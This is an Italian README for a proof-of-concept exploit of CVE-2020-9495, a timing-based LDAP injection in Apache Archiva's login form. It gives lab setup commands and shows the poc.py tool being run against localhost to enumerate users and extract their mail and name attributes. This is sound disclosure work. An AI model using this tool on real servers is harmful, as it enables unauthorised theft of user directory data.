
La CVE-2020-9495 è una vulnerabilità di iniezione LDAP di gravità media in Apache Archiva precedente alla versione 2.2.5. Consente a un attaccante di recuperare qualsiasi valore di attributo LDAP degli utenti presenti sul server LDAP.
Dall'avviso ufficiale di Apache Archiva:
Fornendo valori speciali al modulo di login di Archiva, un attaccante è in grado di recuperare i dati degli attributi utente dal server LDAP connesso. Con determinati caratteri è possibile modificare il filtro LDAP usato per interrogare gli utenti sul server LDAP connesso. Misurando il tempo di risposta, è possibile recuperare dati arbitrari degli attributi dagli oggetti utente LDAP.
Lo script poc.py dimostra come un attaccante non autorizzato possa enumerare gli utenti su un server LDAP integrato con Archiva e recuperare il valore di qualsiasi attributo di qualsiasi utente.
Salta questo passaggio se hai già un server Archiva con autenticazione LDAP abilitata.
Scarica Archiva 2.2.4 ed estrailo
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
Esegui il server OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importa gli utenti da users.ldif in LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Esegui il server Archiva
$ bin/archiva console
Abilita e configura l'autenticazione LDAP tramite interfaccia web
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last